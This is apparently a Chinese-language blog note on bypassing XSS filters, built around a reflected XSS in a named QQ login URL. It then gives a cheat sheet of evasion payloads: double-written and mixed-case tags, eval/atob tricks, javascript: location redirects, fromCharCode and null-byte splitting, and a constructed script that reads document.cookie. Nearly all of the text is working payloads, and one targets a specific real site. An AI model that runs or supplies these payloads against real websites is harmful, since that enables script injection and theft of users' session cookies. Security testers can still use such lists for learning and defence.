谷歌一般是直接过滤危险字符,比如:
http://bangbang.qq.com/php/login?game=roco&uin="><img src=1 onerror=alert(1)>&world=5&roleid=44583443&level=8&role=%2弹窗代码为:
http://bangbang.qq.com/php/login?game=roco&uin="><script src=data:,alert(1)<!--&world=5&roleid=44583443&level=8&role=%2这个利用是有前提的: 首先要求缺陷点,允许 < , > 。其次,要求缺陷点的后方存在 </script> 标签。 我们看看当前的这个点的代码。
<input type="hidden" id="sClientUin" value=""><img src=1 onerror=alert(1)>"> <script type="text/javascript" src="http://pingjs.qq.com/tcss.ping.js"></script>谷歌浏览器是将他认为是危险的代码进行拦截,但是我们可以利用它的一些过滤语句进行绕过,比如:
g_StyleID = paras['g_StyleID'].replace("v6/","");将v6/转换为空格,我们可以构造语句
<scrv6/ipt>alert(document.cookie)</script>即可达到弹窗目的
双写或者大小写 闭合标签 特殊编码绕过(HTML实体编码)
<script>alert(&xss&)</script>javascript的fromCharCode函数 这个函数会把指定的Unicode转换为字符串
<script>alert(String.fromCharCode(88,83,83))</script>ASCII码绕过 使用空字符
<scr%00ipt>alert("xss")</script>base64加密绕过 我的总结很不到位,这里放上broken55师傅的总结 博客链接:https://www.yuque.com/broken5/blog/vukwsh
<!-- 空格被过滤 --> <img/src="1"/onerror=alert(1)> <!-- 双写绕过 --> <iimgmg src=1 oonerrornerror=aimglert(1)> <!-- 大小写绕过 --> <iMg src=1 oNerRor=alert(1)> <!-- 利用eval() --> <img src=1 onerror="a=`aler`;b=`t(1)`;eval(a+b);"> <img src=1 onerror=eval(atob('YWxlcnQoMSk='))> <!-- 利用location --> <img src=1 onerror=location='javascript:alert(1)'> <img src=1 onerror=location='javascript:\x61\x6C\x65\x72\x74\x28\x31\x29'> <img src=1 onerror=location="javascr"+"ipt:"+"alert(1)"> <!-- 括号被过滤 --> <img src=1 onerror="window.οnerrοr=eval;throw'=alert\x281\x29';"> <!-- onerror=被过滤 --> <img src=1 onerror =alert(1)> <img src=1 onerror =alert(1)> <!-- 属性被转换为大写 --> <img src=1 onerror=alert(1)> <!-- 编码后被检测 --> <img src=1 onerror=alert(1)>